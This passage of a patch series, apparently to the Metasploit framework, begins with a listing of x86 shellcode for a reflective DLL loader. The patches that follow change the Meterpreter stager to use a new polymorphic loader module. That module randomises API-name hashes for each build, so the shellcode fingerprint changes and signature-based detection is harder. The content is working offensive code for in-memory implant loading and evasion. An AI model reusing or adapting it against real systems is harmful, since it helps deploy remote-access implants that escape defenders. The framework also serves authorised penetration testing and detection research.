instruction + 6a01 + push 1 + + + 0x1406 + instruction + ff75e8 + push dword ptr [ebp - 0x18] + + + 0x1409 + instruction + ff55c4 + call dword ptr [ebp - 0x3c] + + + + + + + + 0x140c + instructions-graph + + 0x140c + instructions + + 0x140c + instruction + 8b45c4 + mov eax, dword ptr [ebp - 0x3c] + + + 0x140f + instruction + 5f + pop edi + + + 0x1410 + instruction + 5e + pop esi + + + 0x1411 + instruction + 5b + pop ebx + + + 0x1412 + instruction + 89ec + mov esp, ebp + + + 0x1414 + instruction + 5d + pop ebp + + + 0x1415 + instruction + c3 + ret + + + + + + + + + + + 0x1416 + instructions-graph + + 0x1416 + instructions + + 0x1416 + instruction + 8b4201 + mov eax, dword ptr [edx + 1] + + + 0x1419 + instruction + 8d5205 + lea edx, [edx + 5] + + + 0x141c + instruction + ffe2 + jmp edx + + + + + + + 0x141e + instructions-graph + + 0x141e + instructions + + 0x141e + instruction + 8b55e8 + mov edx, dword ptr [ebp - 0x18] + + + 0x1421 + instruction + 8b423c + mov eax, dword ptr [edx + 0x3c] + + + 0x1424 + instruction + 01d0 + add eax, edx + + + 0x1426 + instruction + 8b4078 + mov eax, dword ptr [eax + 0x78] + + + 0x1429 + instruction + 01d0 + add eax, edx + + + 0x142b + instruction + 8945e0 + mov dword ptr [ebp - 0x20], eax + + + 0x142e + instruction + 8b4818 + mov ecx, dword ptr [eax + 0x18] + + + 0x1431 + instruction + 894dc8 + mov dword ptr [ebp - 0x38], ecx + + + 0x1434 + instruction + 8b4820 + mov ecx, dword ptr [eax + 0x20] + + + 0x1437 + instruction + 01d1 + add ecx, edx + + + 0x1439 + instruction + 894ddc + mov dword ptr [ebp - 0x24], ecx + + + 0x143c + instruction + 8b4824 + mov ecx, dword ptr [eax + 0x24] + + + 0x143f + instruction + 01d1 + add ecx, edx + + + 0x1441 + instruction + 894dd8 + mov dword ptr [ebp - 0x28], ecx + + + 0x1444 + instruction + c3 + ret + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x1445 + instructions-graph + + 0x1445 + instructions + + 0x1445 + instruction + b800000000 + mov eax, 0 + + + + + 0x144a + instructions-graph + + 0x144a + instructions + + 0x144a + instruction + 0fb619 + movzx ebx, byte ptr [ecx] + + + 0x144d + instruction + 85db + test ebx, ebx + + + 0x144f + instruction + 7408 + je 0x1459 + + + + + + + 0x1451 + instructions-graph + + 0x1451 + instructions + + 0x1451 + instruction + c1c80d + ror eax, 0xd + + + 0x1454 + instruction + 01d8 + add eax, ebx + + + 0x1456 + instruction + 41 + inc ecx + + + 0x1457 + instruction + ebf1 + jmp 0x144a + + + + + + + + 0x1459 + instructions-graph + + 0x1459 + instructions + + 0x1459 + instruction + c3 + ret + + + + + 0x145a + instructions-graph + + 0x145a + instructions + + 0x145a + instruction + e841ffffff + call 0x13a0 + + + + + 0x145f + data + 0110022004400440 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + From 153e02b389a7f7595bebe8723c1ea9aad8c06b5f Mon Sep 17 00:00:00 2001 From: jbx81-1337 Date: Fri, 10 Jul 2026 16:01:17 +0200 Subject: [PATCH 13/15] feat: update x86 meterpreter_loader to use polymorphic reflective loader --- .../payload/windows/meterpreter_loader.rb | 46 ++++++---------- .../core/payload/windows/reflective_loader.rb | 53 +++++++++++++++++++ 2 files changed, 70 insertions(+), 29 deletions(-) create mode 100644 lib/msf/core/payload/windows/reflective_loader.rb diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index e0e140d0d29c1..63759c2a823c2 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -13,6 +13,7 @@ module Payload::Windows::MeterpreterLoader include Msf::ReflectiveDLLLoader include Msf::Payload::Windows + include Msf::Payload::Windows::ReflectiveLoader def initialize(info = {}) super(update_info(info, @@ -96,39 +97,28 @@ def generate_config(opts={}) def stage_meterpreter(opts={}) ds = opts[:datastore] || datastore debug_build = ds['MeterpreterDebugBuild'] - use_custom_loader = ds['MeterpreterLoader::CustomLoader'] == true - custom_loader = nil + custom_loader = ds['MeterpreterLoader::CustomLoader'] == true - # Exceptions will be thrown by the mixin if there are issues. - unless use_custom_loader - dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build)) - - asm_opts = { - rdi_offset: offset, - length: dll.length, - stageless: opts[:stageless] == true - } - else - dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build))) + loader = reflective_loader() + if custom_loader custom_loader_path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'custom_loader.x86.bin') unless ::File.exist?(custom_loader_path) print_status("Custom loader not found at #{custom_loader_path}, drop your loader there and try again.") raise RuntimeError, "Custom loader not found at #{custom_loader_path}" end - - custom_loader = ::File.binread(custom_loader_path) - asm_opts = { - rdi_offset: dll.length, - length: dll.length + custom_loader.length, + loader = ::File.binread(custom_loader_path) + end + dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build))) + asm_opts = { + rdi_offset: dll.length, # we will append the dll to the end of the custom loader, so the offset to it is just the length of the custom loader + length: dll.length + loader.length, # the total length of the payload is the length of the custom loader + the dll stageless: opts[:stageless] == true } - puts("WARNING: Local file #{custom_loader_path} is being used") - vprint_status("Custom loader length: #{custom_loader.length} bytes") - vprint_status("DLL length: #{dll.length} bytes") - vprint_status("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes") - vprint_status("Configuration offset: #{asm_opts[:length]} bytes") - end - + puts("WARNING: Local file #{custom_loader_path} is being used") if custom_loader + vprint_status("Loader length: #{loader.length} bytes") + vprint_status("DLL length: #{dll.length} bytes") + vprint_status("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes") + vprint_status("Configuration offset: #{asm_opts[:length]} bytes") asm = asm_invoke_metsrv(asm_opts) # generate the bootstrap asm @@ -136,14 +126,12 @@ def stage_meterpreter(opts={}) # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry if bootstrap.length > 62 - raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!" + raise RuntimeError, "Meterpreter loader (x64) generated an oversized bootstrap!" end # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap - dll = dll + custom_loader if custom_loader - - dll + dll + loader end end diff --git a/lib/msf/core/payload/windows/reflective_loader.rb b/lib/msf/core/payload/windows/reflective_loader.rb new file mode 100644 index 0000000000000..2924b2e28ea58 --- /dev/null +++ b/lib/msf/core/payload/windows/reflective_loader.rb @@ -0,0 +1,53 @@ +module Msf::Payload::Windows::ReflectiveLoader + def reflective_loader(opts = {}) + iv = opts.fetch(:iv) { rand(0x100000000) } & 0xFFFFFFFF + reflective_loader_asm = Rex::Payloads::Shuffle.from_graphml_file( + File.join(Msf::Config.install_root, 'data', 'shellcode', 'reflective_loader.x86.graphml'), + arch: ARCH_X86, + name: 'reflective_loader' + ) + + _patch_bytes = lambda { |asm, oldbytes, newbytes| + unless asm.include?(oldbytes) + raise "Failed to patch, opcode: #{oldbytes} not found." + end + asm.sub!(oldbytes, newbytes) + } + + _to_hashbytes = lambda { |name, nullbyte: false, unicode: false, iv: 0| + name = name.unpack('C*').pack('v*') if unicode + fun_hash = Rex::Text.ror13_hash(name + (nullbyte ? "\x00" : ""), iv: iv) & 0xFFFFFFFF + [fun_hash].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ') + } + + # Patching IV + iv_bytes = [iv].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ') + reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0xbf, 0x00, 0x00, 0x00, 0x00", "db 0xbf, #{iv_bytes}") + reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0xb8, 0x00, 0x00, 0x00, 0x00", "db 0xb8, #{iv_bytes}") + + vprint_status("Random IV: #{iv}") + patches = [ + { :base => "db 0x81, 0xff,", name: 'KERNEL32.DLL', unicode: true }, + { :base => "db 0x81, 0xff,", name: 'NTDLL.DLL', unicode: true}, + { :base => "db 0x3d,", name: 'LoadLibraryA', count: 2}, + { :base => "db 0x3d,", name: 'GetProcAddress'}, + { :base => "db 0x3d,", name: 'ZwAllocateVirtualMemory', count: 2}, + { :base => "db 0x3d,", name: 'ZwProtectVirtualMemory'}, + { :base => "db 0x3d,", name: 'NtFlushInstructionCache', count: 2}, + ] + + patches.each { |patch| + count = patch.fetch(:count) { 1 } + old_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: 0) + new_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: iv) + count.times do + vprint_status("Applying patch from #{old_hash} to #{new_hash} for #{patch[:name]}") + reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "#{patch[:base]} #{old_hash}", "#{patch[:base]} #{new_hash}") + end + } + code = Metasm::Shellcode.assemble(Metasm::X86.new, reflective_loader_asm).encode_string + hash = Rex::Text.md5_raw(code).unpack("H*").first + vprint_status("Reflective Loader GraphML fingerprint: #{hash}") + code + end +end \ No newline at end of file From 7c29bc82faec7336fdce59af112a461972f885bc Mon Sep 17 00:00:00 2001 From: jbx81-1337 Date: Fri, 10 Jul 2026 16:18:55 +0200 Subject: [PATCH 14/15] chore: fix runtime error message from x64 to x86 --- lib/msf/core/payload/windows/meterpreter_loader.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 63759c2a823c2..d6690e61fcd23 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -126,7 +126,7 @@ def stage_meterpreter(opts={}) # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry if bootstrap.length > 62 - raise RuntimeError, "Meterpreter loader (x64) generated an oversized bootstrap!" + raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!" end # patch the bootstrap code into the dll's DOS header... From 04c9b5601435873c2ef87ba52fa8a89199a1a926 Mon Sep 17 00:00:00 2001 From: jbx81-1337 Date: Fri, 10 Jul 2026 16:24:38 +0200 Subject: [PATCH 15/15] fix: update payloads cached size --- modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb | 2 +- modules/payloads/singles/windows/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 +- .../payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_tcp.rb | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb index f3496dee50298..3c4e2e96ef346 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 199238 + CachedSize = 200485 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 1e0572c956c29..c8acd1cfe3b0c 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 199238 + CachedSize = 200485 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 97fb03b8cbfd2..bdafb710c9040 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 200284 + CachedSize = 201531 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index f98f6a64dd630..4f78e1c69852c 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 200284 + CachedSize = 201531 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index b894677c9fec0..f7fbd1ef25d65 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 199238 + CachedSize = 200485 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 6c4738ee56907..bc012ef134f81 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 199238 + CachedSize = 200485 include Msf::Payload::TransportConfig include Msf::Payload::Windows